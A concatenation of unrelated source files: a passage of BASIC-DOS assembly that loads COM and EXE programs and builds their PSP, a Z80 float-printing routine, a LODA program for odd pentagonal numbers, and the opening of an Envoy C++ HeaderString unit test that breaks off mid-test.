; from the command tail at EPB_CMDTAIL.
;
; NOTE: While EPB_CMDTAIL normally ends with a CHR_RETURN, load_command
; doesn't bother, because it knows load_args will copy only the specified
; number of tail characters and then output CHR_RETURN.
;
; Inputs:
; DS:BX -> EPB
; ES:DI -> new stack
;
; Outputs:
; ES -> PSP
; DX:AX -> new stack
;
; Modifies:
; AX, DX, DI, ES
;
DEFPROC load_args,DOS
ASSUME DS:NOTHING,ES:NOTHING
push es ; save ES:DI (new program's stack)
push di
push cx
push si
call get_psp
mov es,ax ; ES -> PSP
push ds
mov di,PSP_FCB1 ; ES:DI -> PSP_FCB1
lds si,[bx].EPB_FCB1
cmp si,-1
jne la1
pop ds
push ds ; DS:BX -> EPB again
lds si,[bx].EPB_CMDTAIL
inc si
mov ax,(DOS_FCB_PARSE SHL 8) or 01h
int 21h
mov ax,(DOS_FCB_PARSE SHL 8) or 01h
mov di,PSP_FCB2
int 21h
jmp short la2
la1: mov cx,size FCB
rep movsb ; fill in PSP_FCB1
pop ds
push ds ; DS:BX -> EPB again
lds si,[bx].EPB_FCB2
mov di,PSP_FCB2
mov cx,size FCB
rep movsb ; fill in PSP_FCB2
la2: pop ds
push ds ; DS:BX -> EPB again
lds si,[bx].EPB_CMDTAIL
mov di,PSP_CMDTAIL
mov cl,[si]
mov ch,0
inc cx
rep movsb ; fill in PSP_CMDTAIL
mov al,CHR_RETURN
stosb
pop ds ; DS:BX -> EPB again
pop si
pop cx
pop ax
pop dx ; recover new program's stack in DX:AX
ret
ENDPROC load_args
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; load_program
;
; Inputs:
; DS:SI -> name of program
;
; Outputs:
; If successful, carry clear, ES:DI -> new stack
; If error, carry set, AX = error code
;
; Modifies:
; AX, BX, CX, DX, SI, DI, DS, ES
;
DEFPROC load_program,DOS
ASSUME DS:NOTHING,ES:NOTHING
;
; We used to start off with a small allocation (10h paras), since that's
; all we initially need for the PSP, but that can get us into trouble later
; if there isn't enough free space after the block. So it's actually best
; to allocate the largest possible block now. We'll shrink it down once
; we know how large the program is.
;
; TODO: Allocating all memory can get us into trouble with other sessions,
; if they need any memory while this function is running. So, while we
; originally didn't want to wrap this entire operation with LOCK_SCB, because
; 1) it's lengthy and 2) everything it does other than the memory allocations
; is session-local, that's the only solution we have available at the moment.
;
LOCK_SCB
mov bx,0A000h ; alloc a PSP segment
mov ax,DOS_MEM_ALLOC SHL 8 ; with a size that should fail
int 21h ; in order to get max paras avail
ASSERT C
jnc lp1 ; if it didn't fail, use it anyway?
cmp bx,11h ; enough memory to do anything useful?
jb lp0 ; no
mov ax,DOS_MEM_ALLOC SHL 8 ; BX = max paras avail
int 21h ; returns a new segment in AX
jnc lp1
lp0: jmp lp9 ; abort
lp1: mov [bp].TMP_DX,bx ; TMP_DX = size of segment (in paras)
xchg dx,ax ; DX = segment for new PSP
mov ah,DOS_PSP_CREATE
int 21h ; create new PSP at DX
;
; Let's update the PSP_STACK field in the current PSP before we switch to
; the new PSP, since we rely on it to gracefully return to the caller when
; this new program terminates. PC DOS updates PSP_STACK on every DOS call,
; because it loves switching stacks; we do not.
;
call get_psp
jz lp2 ; jump if no PSP exists yet
mov es,ax
ASSUME ES:NOTHING
mov bx,bp
IF REG_CHECK
sub bx,2
ENDIF
mov es:[PSP_STACK].OFF,bx
mov es:[PSP_STACK].SEG,ss
lp2: push ax ; save original PSP
xchg ax,dx ; AX = new PSP
call set_psp
mov dx,si ; DS:DX -> name of program
mov ax,DOS_HDL_OPENRO
int 21h ; open the file
jc lpf1
xchg bx,ax ; BX = file handle
call get_psp
mov ds,ax ; DS = segment of new PSP
mov ax,[bp].REG_IP
mov ds:[PSP_EXIT].OFF,ax ; update the PSP's exit address
mov ax,[bp].REG_CS
mov ds:[PSP_EXIT].SEG,ax
sub cx,cx
sub dx,dx
mov [bp].TMP_CX,cx
mov ax,(DOS_HDL_SEEK SHL 8) OR SEEK_END
int 21h ; returns new file position in DX:AX
jc lpc1
test dx,dx
jnz lp3
mov [bp].TMP_CX,ax ; record size ONLY if < 64K
;
; Now that we have a file size, verify that the PSP segment is large enough.
; We don't know EXACTLY how much we need yet, because there might be a COMHEAP
; signature if it's a COM file, and EXE files have numerous unknowns at this
; point. But having at LEAST as much memory as there are bytes in the file
; (plus a little extra) is necessary for the next stage of the loading process.
;
; How much is "a little extra"? Currently, it's 40h paragraphs (1Kb). See
; the discussion below ("Determine a reasonable amount to add to the minimum").
;
lp3: add ax,15
adc dx,0 ; round DX:AX to next paragraph
mov cx,16
cmp dx,cx ; can we safely divide DX:AX by 16?
ja lpc2 ; no, the program is much too large
div cx ; AX = # paras
mov si,ax ; SI = # paras in file
add ax,50h ; AX = min paras (10h for PSP + 40h)
cmp ax,[bp].TMP_DX ; can the segment accommodate that?
ja lpc2 ; no
sub cx,cx
sub dx,dx
mov ax,(DOS_HDL_SEEK SHL 8) OR SEEK_BEG
int 21h ; reset file position to beginning
jc lpc1
;
; Regardless whether this is a COM or EXE file, we're going to read the first
; 512 bytes (or less if that's all there is) and decide what to do next.
;
push ds
pop es ; DS = ES = PSP segment
mov dx,size PSP
mov [bp].TMP_ES,ds
mov [bp].TMP_BX,dx
mov cx,200h
mov ah,DOS_HDL_READ ; BX = file handle, CX = # bytes
int 21h
jnc lp6
lpc1: jmp lpc
lpc2: mov ax,ERR_NOMEMORY
jmp short lpc1
lp6: mov di,dx ; DS:DI -> end of PSP
cmp [di].EXE_SIG,SIG_EXE
je lp6a
jmp lp7
lpf1: jmp lpf
lp6a: cmp ax,size EXEHDR
jb lpc2 ; file too small
;
; Load the EXE file. First, we move all the header data we've already read
; to the top of the allocated memory, then determine how much more header data
; there is to read, read that as well, and then read the rest of the file
; into the bottom of the allocated memory.
;
mov dx,ds
add dx,si
add dx,10h
sub dx,[di].EXE_PARASHDR
push si ; save allocated paras
push es
mov si,di ; DS:SI -> actual EXEHDR
sub di,di
mov es,dx ; ES:DI -> space for EXEHDR
mov cx,ax ; CX = # of bytes read so far
shr cx,1
rep movsw ; move them into place
jnc lp6b
movsb
lp6b: mov ds,dx
mov dx,di ; DS:DX -> space for remaining hdr data
pop es
pop si
mov cl,4
shr ax,cl ; AX = # paras read
mov di,ds:[0].EXE_PARASHDR
sub di,ax ; DI = # paras left to read
ASSERT NC
shl di,cl ; DI = # bytes left to read
mov cx,di ; CX = # bytes
jcxz lp6c
mov ah,DOS_HDL_READ ; BX = file handle, CX = # bytes
int 21h
jc lpc1
lp6c: push es
push ds
pop es ; ES = header segment
pop dx ; DX = PSP segment
add dx,10h
lp6d: mov ds,dx
sub dx,dx ; DS:DX -> next read location
mov cx,32 * 1024 ; read 32K at a time
mov ah,DOS_HDL_READ ; BX = file handle, CX = # bytes
int 21h
jc lpc1
mov dx,ds
cmp ax,cx ; done?
jb lp6e ; presumably
add dx,800h ; add 32K of paras to segment
jmp lp6d
;
; Time to start working through the relocation entries in the ES segment.
;
lp6e: push ax
mov ah,DOS_HDL_CLOSE
int 21h ; close the file
pop ax
jc lpf1
add ax,15
mov cl,4
shr ax,cl
add dx,ax ; DX = next available segment
call get_psp
add ax,10h ; AX = base segment of EXE
mov cx,es:[EXE_NRELOCS]
mov di,es:[EXE_OFFRELOC] ; ES:DI -> first relocation entry
jcxz lp6g ; it's always possible there are none
lp6f: mov bx,es:[di].OFF ; BX = offset
mov si,es:[di].SEG ; SI = segment
add si,ax
mov ds,si
add [bx],ax ; add base segment to DS:[BX]
add di,4
loop lp6f
;
; DX - (AX - 10h) is the base # of paragraphs required for the EXE. Add the
; minimum specified in the EXEHDR.
;
; TODO: Decide what to do about the maximum. The default setting seems to be
; "give me all the memory" (eg, FFFFh), which we do not want to do.
;
lp6g: push es:[EXE_START_SEG]
push es:[EXE_START_OFF]
push es:[EXE_STACK_SEG]
push es:[EXE_STACK_OFF]
mov si,es:[EXE_PARASMIN]
IFDEF DEBUG
mov di,es:[EXE_PARASMAX]
ENDIF
sub ax,10h
mov es,ax ; ES = PSP segment
sub dx,ax ; DX = base # paras
;
; TODO: Determine a reasonable amount to add to the minimum. SYMDEB.EXE 4.0
; was the first non-BASIC-DOS EXE I tried to load, and if I provided only its
; minimum of 11h paragraphs (for a total of 90Bh), it would trash the memory
; arena when creating a PSP, so it's unclear the minimum, at least in SYMDEB's
; case, can be fully trusted.
;
; More info on SYMDEB.EXE 4.0 and PC DOS 2.00: it seems the smallest amount of
; free memory where DOS 2.0 will still load SYMDEB is when COMMAND.COM "owns"
; at least 967h paras in the final memory segment (CHKDSK reports 38336 bytes
; free at that point; SYMDEB.EXE is 37021 bytes).
;
; The PSP that SYMDEB created under those conditions was located at 7FAFh
; (this was on a 512K machine so the para limit was 8000h), so the PSP had 51h
; paragraphs available to it. However, SYMDEB could not load even a tiny
; (11-byte) COM file; it would report "EXEC failure", which seems odd with 51h
; paragraphs available. Also, the word at 7FAF:0006 (memory size) contained
; 8460h, which seems way too large.
;
; I also discovered that if I tried to load "SYMDEB E.COM" (where E.COM was an
; 11-byte COM file) with 8 more paras available (96Fh total), the system would
; crash while trying to load E.COM. I haven't investigated further, so it's
; unclear if the cause is a DOS/EXEC bug or a SYMDEB bug.
;
; Anyway, since BASIC-DOS can successfully load SYMDEB.EXE 4.0 with only 92Bh
; paras (considerably less than 967h), either we're being insufficiently
; conservative, or PC DOS had some EXEC overhead (perhaps in the transient
; portion of COMMAND.COM) that it couldn't eliminate.
;
cmp si,40h ; is additional minimum at least 1Kb?
jae lp6h ; yes
mov si,40h ; no, set minimum to 1Kb (in paras)
lp6h: add dx,si ; DX = base + minimum
mov ds,ax ; DS = PSP segment
add ax,10h ; AX = EXE base segment (again)
pop ds:[PSP_STACK].OFF
pop ds:[PSP_STACK].SEG
add ds:[PSP_STACK].SEG,ax
pop ds:[PSP_START].OFF
pop ds:[PSP_START].SEG
add ds:[PSP_START].SEG,ax
DPRINTF 'p',<"New PSP %04x, %04x paras, min,max=%04x,%04x\r\n">,ds,dx,si,di
mov bx,dx ; BX = realloc size (in paras)
sub dx,dx ; no heap
jmp lp8 ; realloc the PSP segment
lpf2: jmp lpf
lpc3: jmp lpc
;
; Load the COM file. All we have to do is finish reading it.
;
; NOTE: DEBUG.COM from PC DOS 2.00 has a file size of 11904 bytes (image size
; 2F80h) and resets its stack pointer to 2AE2h, which is an area that's too
; small to safely run in BASIC-DOS:
;
; 083B:011C BCE22A MOV SP,2AE2
; ...
; 083B:0211 BCE22A MOV SP,2AE2
;
; If we want to run such apps (which we don't), we'll have to detect them and
; implement stack switching (which we won't).
;
; DEBUG.COM from PC DOS 1.00 has a file size of 6049 bytes (image size 18A1h)
; and resets its stack pointer to 17F8h, but it's less susceptible to problems
; since copyright and error message strings are located below the stack.
;
lp7: add dx,ax
cmp ax,cx
jb lp7a ; we must have already finished
sub si,20h
mov cl,4
shl si,cl
mov cx,si ; CX = maximum # bytes left to read
mov ah,DOS_HDL_READ
int 21h
jc lpc3
add dx,ax ; DX -> end of program image
lp7a: mov ah,DOS_HDL_CLOSE
int 21h ; close the file
jc lpf2
mov ds:[PSP_START].OFF,100h
mov ds:[PSP_START].SEG,ds
mov di,dx ; DI -> uninitialized heap space
mov dx,MINHEAP SHR 4 ; DX = additional space (1Kb in paras)
;
; Check the word at [DI-2]: if it contains SIG_BASICDOS ("BD"), then the
; image ends with COMDATA, where the preceding word (CD_HEAPSIZE) specifies
; the program's desired additional memory (in paras).
;
cmp word ptr [di - 2],SIG_BASICDOS
jne lp7e
mov ax,[di - size COMDATA].CD_HEAPSIZE; AX = heap size, in paras
cmp ax,dx ; larger than our minimum?
jbe lp7c ; no
xchg dx,ax ; yes, set DX to the larger value
;
; Since there's a COMDATA structure, fill in the relevant PSP fields.
; In addition, if a code size is specified, checksum the code, and then
; see if there's another block with the same code.
;
lp7c: mov cx,[di - size COMDATA].CD_CODESIZE
mov ds:[PSP_CODESIZE],cx ; record end of code
mov ds:[PSP_HEAPSIZE],dx ; record heap size
mov ds:[PSP_HEAP],di ; by default, heap starts after COMDATA
jcxz lp7d ; but if a code size was specified
mov ds:[PSP_HEAP],cx ; heap starts at the end of the code
lp7d: call psp_calcsum ; calc checksum for code
mov ds:[PSP_CHECKSUM],ax ; record checksum (zero if unspecified)
jcxz lp7e
;
; We found another copy of the code segment (CX), so we can move everything
; from PSP_CODESIZE to DI down to 100h, and then set DI to the new program end.
;
; The bytes, if any, between PSP_CODESIZE and the end of the COMDATA structure
; (which is where DI is now pointing) represent statically initialized data
; that is also considered part of the program's "heap".
;
mov ds:[PSP_START].SEG,cx
mov si,ds:[PSP_CODESIZE]
mov cx,di
sub cx,si
mov di,100h
mov ds:[PSP_HEAP],di ; record the new heap offset
rep movsb ; DI -> uninitialized heap space
mov [bp].TMP_CX,cx ; this program image can't be cached
lp7e: mov bx,di ; BX = size of program image
add bx,15
mov cl,4
shr bx,cl ; BX = size of program (in paras)
add bx,dx ; add additional space (in paras)
mov ax,bx
cmp ax,1000h
jb lp7f
mov ax,1000h
lp7f: shl ax,cl ; DS:AX -> top of the segment
mov ds:[PSP_STACK].OFF,ax
mov ds:[PSP_STACK].SEG,ds
DPRINTF 'p',<"New PSP %04x, %04x paras, stack @%08lx\r\n">,ds,bx,ax,ds
lp8: mov ah,DOS_MEM_REALLOC ; resize ES memory block to BX paras
int 21h
jnc lp8a
jmp lpf
;
; Zero any additional heap paragraphs (DX) starting at ES:DI. Note that
; although heap size is specified in paragraphs, it's not required to start
; on a paragraph boundary, so there may be some unused (and uninitialized)
; bytes at the end of the heap.
;
lp8a: test dx,dx ; additional heap?
jz lp8b ; no
mov cl,3
shl dx,cl ; convert # paras to # words
mov cx,dx
sub ax,ax
rep stosw ; zero the words
lp8b: mov dx,es
push cs
pop ds
ASSUME DS:DOS
call psp_setmem ; DX = PSP segment, BX = PSP paras
call mcb_setname ; ES = PSP segment
;
; Since we're past the point of no return now, let's take care of some
; initialization outside of the program segment; namely, resetting the CTRLC
; and ERROR handlers to their default values. And as always, we set these
; handlers inside the SCB rather than the IVT (exactly as DOS_MSC_SETVEC does).
;
mov bx,[scb_active]
mov [bx].SCB_CTRLC.OFF,offset dos_ctrlc
mov [bx].SCB_CTRLC.SEG,cs
mov [bx].SCB_ERROR.OFF,offset dos_error
mov [bx].SCB_ERROR.SEG,cs
;
; Initialize the DTA to its default (PSP:80h), while simultaneously preserving
; the previous DTA in the new PSP.
;
mov ax,80h
xchg [bx].SCB_DTA.OFF,ax
mov es:[PSP_DTAPREV].OFF,ax
mov ax,es
xchg [bx].SCB_DTA.SEG,ax
mov es:[PSP_DTAPREV].SEG,ax
;
; Create an initial REG_FRAME at the top of the stack segment.
;
; TODO: Verify that we're setting proper initial values for all the registers.
;
push es
pop ds
ASSUME DS:NOTHING
les di,ds:[PSP_STACK] ; ES:DI -> stack (NOT PSP)
dec di
dec di
std
mov dx,ds:[PSP_START].OFF ; CX:DX = start address
mov cx,ds:[PSP_START].SEG
;
; NOTE: Pushing a zero on the top of the program's stack is expected by
; COM files, but what about EXE files? Do they have the same expectation
; or are we just wasting a word (or worse, confusing them)?
;
sub ax,ax
stosw ; store a zero at the top of the stack
mov ax,FL_DEFAULT
stosw ; REG_FL (with interrupts enabled)
xchg ax,cx
stosw ; REG_CS
xchg ax,dx
stosw ; REG_IP
sub ax,ax
REPT (size WS_TEMP) SHR 1
stosw ; REG_WS
ENDM
;
; TODO: Set AL to 0FFh if the 1st filespec drive is invalid; ditto for AH
; if the 2nd filespec drive is invalid. I don't believe any of the other
; general-purpose registers have any special predefined values, so zero is OK.
;
stosw ; REG_AX
stosw ; REG_BX
stosw ; REG_CX
stosw ; REG_DX
mov ax,ds ; DS = PSP segment
stosw ; REG_DS
sub ax,ax
stosw ; REG_SI
mov ax,ds ; DS = PSP segment
stosw ; REG_ES
sub ax,ax
stosw ; REG_DI
stosw ; REG_BP
IF REG_CHECK
mov ax,offset dos_check
stosw
ENDIF
inc di
inc di ; ES:DI -> REG_BP
cld
add sp,2 ; discard original PSP
jmp short lp9
;
; Error paths (eg, close the file handle, free the memory for the new PSP)
;
lpc: push ax
mov ah,DOS_HDL_CLOSE
int 21h
pop ax
lpf: push ax
push cs
pop ds
ASSUME DS:DOS
call psp_close
call get_psp
mov es,ax
mov ah,DOS_MEM_FREE
int 21h
pop ax
pop dx ; DX = original PSP
xchg ax,dx ; AX = original PSP, DX = error code
call set_psp ; update PSP
xchg ax,dx ; AX = error code
stc
lp9: UNLOCK_SCB
ret
ENDPROC load_program
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_calcsum
;
; Inputs:
; DS:100h -> bytes to checksum
; CX = end of region to checksum
;
; Outputs:
; AX = 16-bit checksum
; CX = segment with matching checksum (zero if none)
;
; Modifies:
; AX, CX, SI
;
DEFPROC psp_calcsum
ASSUME DS:NOTHING, ES:NOTHING
push dx
sub dx,dx
jcxz crc8
push cx
mov si,100h ; SI -> 1st byte to sum
sub cx,si ; CX = # bytes to checksum
shr cx,1 ; CX = # words
crc1: lodsw
add dx,ax
loop crc1
pop ax
;
; Scan the arena for a PSP block with matching PSP_CODESIZE and PSP_CHECKSUM.
;
push es
mov si,[mcb_head]
crc2: mov es,si
ASSUME ES:NOTHING
inc si
mov cx,es:[MCB_OWNER]
jcxz crc5
cmp cx,si ; MCB_OWNER = PSP?
jne crc5 ; no
cmp es:[size MCB].PSP_CODESIZE,ax
jne crc5
cmp es:[size MCB].PSP_CHECKSUM,dx
jne crc5
mov cx,si ; CX = matching segment
jmp short crc7 ; done scanning
crc5: cmp es:[MCB_SIG],MCBSIG_LAST
jne crc6
sub cx,cx ; CX = zero (no match found)
jmp short crc7 ; done scanning
crc6: add si,es:[MCB_PARAS]
jmp crc2
crc7: pop es
crc8: xchg ax,dx ; AX = checksum
pop dx
ret
ENDPROC psp_calcsum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_close
;
; Inputs:
; None
;
; Outputs:
; None
;
; Modifies:
; AX, CX, DX
;
DEFPROC psp_close,DOS
push bx
mov cx,size PSP_PFT
sub bx,bx ; BX = handle (PFH)
cp1: call pfh_close ; close process file handle
inc bx
loop cp1
pop bx
ret
ENDPROC psp_close
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_init
;
; Helper for psp_copy and psp_create APIs. PSP fields up to (but not
; including) PSP_PARENT are initialized.
;
; Inputs:
; BX = PSP paras (default)
; REG_DX = segment of new PSP
;
; Outputs:
; AX = active PSP
; BX -> active SCB
; ES:DI -> PSP_PARENT of new PSP
;
; Modifies:
; AX, BX, CX, DX, DI, ES
;
DEFPROC psp_init,DOS
mov dx,[bp].REG_DX
call psp_setmem ; DX = PSP segment, BX = PSP paras
ASSUME ES:NOTHING
;
; On return from psp_setmem, ES = PSP segment and DI -> PSP_EXIT.
;
; Copy current INT 22h (EXIT), INT 23h (CTRLC), and INT 24h (ERROR) vectors,
; but copy them from the SCB, not the IVT.
;
mov bx,[scb_active] ; BX = active SCB
lea si,[bx].SCB_EXIT
mov cx,6
rep movsw
call get_psp ; AX = active PSP
ret
ENDPROC psp_init
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; psp_setmem
;
; This is called by psp_copy and psp_create to initialize the first 10 bytes
; of the PSP, as well as by load_program after a program has been loaded and
; the PSP has been resized, requiring many of those bytes to be updated again.
;
; Inputs:
; BX = PSP paras (default; ignored if PSP segment has size)
; DX = PSP segment
;
; Outputs:
; ES = PSP segment
; DI -> PSP_EXIT of PSP
;
; Modifies:
; AX, BX, CX, DI, ES
;
DEFPROC psp_setmem,DOS
ASSUME ES:NOTHING
call mcb_getsize ; if PSP segment has size, get it
jc ps1 ; otherwise, use PSP paras in BX
mov bx,dx
add bx,ax ; BX = actual memory limit
ASSERT NZ,<test cx,cx>
jcxz ps1 ; jump if segment unowned (unusual)
dec dx
mov es,dx ; ES -> MCB
inc dx
mov es:[MCB_OWNER],dx ; set MCB owner to PSP
ps1: mov es,dx
sub di,di ; start building the new PSP at ES:0
mov ax,OP_INT20
stosw ; 00h: PSP_EXIT
xchg ax,bx
stosw ; 02h: PSP_PARAS (ie, memory limit)
xchg bx,ax ; save PSP_PARAS in BX
call scb_getnum ; 04h: SCB #
mov ah,OP_CALLF ; 05h: PSP_CALL5 far call opcode (9Ah)
stosw
sub bx,dx ; BX = PSP_PARAS - PSP segment
sub ax,ax ; default to 64K
mov cl,4
cmp bx,1000h ; 64K or more available?
jae ps3 ; yes
shl bx,cl ; BX = number of bytes available
xchg ax,bx
ps3: sub ax,256 ; AX = max available bytes this segment
stosw ; 06h: PSP_SIZE
;
; Compute the code segment which, when shifted left 4 and added to AX, yields
; wrap-around linear address 000C0h, aka INT_DOSCALL5 * 4.
;
xchg bx,ax
shr bx,cl
mov ax,(INT_DOSCALL5 * 4) SHR 4
sub ax,bx ; basically, compute 000Ch - (BX SHR 4)
stosw ; 08h: PSP_FCSEG
ret
ENDPROC psp_setmem
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; get_psp
;
; In BASIC-DOS, this replaces all references to (the now obsolete) psp_active.
;
; Inputs:
; None
;
; Outputs:
; AX = segment of current PSP (zero if none; ZF set as well)
;
DEFPROC get_psp,DOS
ASSUMES <DS,NOTHING>,<ES,NOTHING>
push bx
sub ax,ax
mov bx,[scb_active]
ASSERT STRUCT,cs:[bx],SCB
mov ax,cs:[bx].SCB_PSP
test ax,ax
pop bx
ret
ENDPROC get_psp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; set_psp
;
; In BASIC-DOS, this replaces all references to (the now obsolete) psp_active.
;
; Inputs:
; AX = segment of new PSP
;
; Outputs:
; None
;
DEFPROC set_psp,DOS
ASSUMES <DS,NOTHING>,<ES,NOTHING>
push bx
mov bx,[scb_active]
ASSERT STRUCT,cs:[bx],SCB
mov cs:[bx].SCB_PSP,ax
pop bx
ret
ENDPROC set_psp
DOS ends
end
|
SECTION code_stdlib
PUBLIC __dtoa_print
EXTERN __stdio_printf_sign_0, __dtoa_print_zeroes
__dtoa_print:
push hl ; save buf_dst
; bc = length of workspace
; de = workspace *
; hl = char *buf_dst
;
; (IX-6) = flags, bit 7 = 'N', bit 4 = '#', bit 0 = precision==0
; (IX-5) = iz (number of zeroes to insert before .)
; (IX-4) = fz (number of zeroes to insert after .)
; (IX-3) = tz (number of zeroes to append)
; (IX-2) = ignore
; (IX-1) = '0' marks start of buffer
;
; stack = char *buf
;
; carry' set indicates special form
;
; exit : hl = output length
; de = char *buf_dst
;;;;; print sign
ld a,(ix-6) ; a = printf flags byte
call __stdio_printf_sign_0
ex af,af'
jr c, special_form ; if nan or inf
;;;;; print workspace up to non-digit
ex de,hl ; hl = workspace *, de = buf_dst *
integer_part:
ld a,(hl)
cp '.'
jr z, iz_zeroes ; if integer part done
cp 'E'
jr z, tze_zeroes ; if exponent reached
cp 'P'
jr z, tze_zeroes ; if exponent reached
ldi ; copy workspace digit to destination
jp pe, integer_part ; if workspace not exhausted
;;;;; print iz zeroes (zeroes trailing the integer part)
iz_zeroes:
ex de,hl ; hl = buf_dst *, de = workspace *
ld a,(ix-5) ; a = iz
call __dtoa_print_zeroes
ex de,hl ; hl = workspace *, de = buf_dst *
ld a,b
or c
jr z, zero_terminate ; if workspace exhausted
;;;;; print decimal point
ldi
jp po, tz_zeroes ; if workspace exhausted
;;;;; print fz zeroes
fz_zeroes:
ex de,hl ; hl = buf_dst *, de = workspace *
ld a,(ix-4) ; a = fz
call __dtoa_print_zeroes
;;;;; print workspace up to exponent
ex de,hl ; hl = workspace *, de = buf_dst*
fraction_part:
ld a,(hl)
cp 'E'
jr z, tze_zeroes ; if exponent reached
cp 'P'
jr z, tze_zeroes ; if exponent reached
ldi ; copy workspace digit to destination
jp pe, fraction_part ; if workspace not exhausted
;;;;; print trailing zeroes
tz_zeroes:
ex de,hl ; hl = buf_dst *, de = workspace *
ld a,(ix-3)
call __dtoa_print_zeroes
ex de,hl
;;;;; zero terminate and exit
zero_terminate:
; de = char *buf_dst
; stack = char *buf
xor a
ld (de),a ; terminate buf
pop hl
ex de,hl ; hl = buf_dst *, de = buf *
sbc hl,de ; hl = output length
ret
;;;;; print trailing zeroes (ftoe - exponent present)
tze_zeroes:
set 5,(hl) ; exponent to lower case
ex de,hl ; hl = buf_dst *, de = workspace *
ld a,(ix-3)
call __dtoa_print_zeroes
;;;;; print remaining workspace (ftoe - exponent present)
special_form:
ex de,hl ; hl = workspace *, de = buf_dst *
ldir
jr zero_terminate
|
; A014632: Odd pentagonal numbers.
; Submitted by Jon Maiga
; 1,5,35,51,117,145,247,287,425,477,651,715,925,1001,1247,1335,1617,1717,2035,2147,2501,2625,3015,3151,3577,3725,4187,4347,4845,5017,5551,5735,6305,6501,7107,7315,7957,8177,8855,9087,9801,10045,10795,11051,11837,12105,12927,13207,14065,14357,15251,15555,16485,16801,17767,18095,19097,19437,20475,20827,21901,22265,23375,23751,24897,25285,26467,26867,28085,28497,29751,30175,31465,31901,33227,33675,35037,35497,36895,37367,38801,39285,40755,41251,42757,43265,44807,45327,46905,47437,49051,49595,51245
mov $1,$0
mul $0,2
add $1,1
mod $1,2
add $0,$1
mul $0,3
bin $0,2
div $0,3
|
#include <memory>
#include <string>
#include "common/http/header_map_impl.h"
#include "test/test_common/printers.h"
#include "test/test_common/utility.h"
#include "gtest/gtest.h"
using ::testing::InSequence;
namespace Envoy {
namespace Http {
TEST(HeaderStringTest, All) {
// Static LowerCaseString constructor
{
LowerCaseString static_string("hello");
HeaderString string(static_string);
EXPECT_STREQ("hello", string.c_str());
EXPECT_EQ(static_string.get().c_str(), string.c_str());
EXPECT_EQ(5U, string.size());
}
// Static std::string constructor
{
std::string static_string("HELLO");
HeaderString string(static_string);
EXPECT_STREQ("HELLO", string.c_str());
EXPECT_EQ(static_string.c_str(), string.c_str());
EXPECT_EQ(5U, string.size());
}
// Static move contructor
{
std::string static_string("HELLO");
HeaderString string1(static_string);
HeaderString string2(std::move(string1));
EXPECT_STREQ("HELLO", string2.c_str());
EXPECT_EQ(static_string.c_str(), string1.c_str()); // NOLINT(bugprone-use-after-move)
EXPECT_EQ(static_string.c_str(), string2.c_str());
EXPECT_EQ(5U, string1.size());
EXPECT_EQ(5U, string2.size());
}
// Inline move constructor
{
HeaderString string;
string.setCopy("hello", 5);
EXPECT_EQ(HeaderString::Type::Inline, string.type());
HeaderString string2(std::move(string));
EXPECT_TRUE(string.empty()); // NOLINT(bugprone-use-after-move)
EXPECT_EQ(HeaderString::Type::Inline, string.type());
EXPECT_EQ(HeaderString::Type::Inline, string2.type());
string.append("world", 5);
EXPECT_STREQ("world", string.c_str());
EXPECT_EQ(5UL, string.size());
EXPECT_STREQ("hello", string2.c_str());
EXPECT_EQ(5UL, string2.size());
}
// Dynamic move constructor
{
std::string large(4096, 'a');
HeaderString string;
string.setCopy(large.c_str(), large.size());
EXPECT_EQ(HeaderString::Type::Dynamic, string.type());
HeaderString string2(std::move(string));
EXPECT_TRUE(string.empty()); // NOLINT(bugprone-use-after-move)
EXPECT_EQ(HeaderString::Type::Inline, string.type());
EXPECT_EQ(HeaderString::Type::Dynamic, string2.type());
string.append("b", 1);
EXPECT_STREQ("b", string.c_str());
EXPECT_EQ(1UL, string.size());
EXPECT_STREQ(large.c_str(), string2.c_str());
EXPECT_EQ(4096UL, string2.size());
}
// Static to inline number.
{
std::string static_string("HELLO");
HeaderString string(static_string);
string.setInteger(5);
EXPECT_EQ(HeaderString::Type::Inline, string.type());
EXPECT_STREQ("5", string.c_str());
}
// Static to inline string.
{
std::string static_string("HELLO");
HeaderString string(static_string);
string.setCopy(static_string.c_str(), static_string.size());
EXPECT_EQ(HeaderString::Type::Inline, string.type());
EXPECT_STREQ("HELLO", string.c_str());
}
// Static clear() does nothing.
{
std::string static_string("HELLO");
HeaderString string(static_string);
EXPECT_EQ(HeaderString::Type::Reference, string.type());
string.clear();
EXPECT_EQ(HeaderString::Type::Reference, string.type());
EXPECT_STREQ("HELLO", string.c_str());
}
// Static to append.
{
std::string static_string("HELLO");
HeaderString string(static_string);
EXPECT_EQ(HeaderString::Type::Reference, string.type());
string.append("a", 1);
EXPECT_STREQ("HELLOa", string.c_str());
}
// Copy inline
{
HeaderString string;
string.setCopy("hello", 5);
EXPECT_STREQ("hello", string.c_str());
EXPECT_EQ(5U, string.size());
}
// Copy dynamic
{
HeaderString string;
std::string large_value(4096, 'a');
string.setCopy(large_value.c_str(), large_value.size());
EXPECT_STREQ(large_value.c_str(), string.c_str());
EXPECT_NE(large_value.c_str(), string.c_str());
EXPECT_EQ(4096U, string.size());
}
// Copy twice dynamic
{
HeaderString string;
std::string large_value1(4096, 'a');
string.setCopy(large_value1.c_str(), large_value1.size());
std::string large_value2(2048, 'b');
string.setCopy(large_value2.c_str(), large_value2.size());
EXPECT_STREQ(large_value2.c_str(), string.c_str());
EXPECT_NE(large_value2.c_str(), string.c_str());
EXPECT_EQ(2048U, string.size());
}
// Copy twice dynamic with reallocate
{
HeaderString string;
std::string large_value1(4096, 'a');
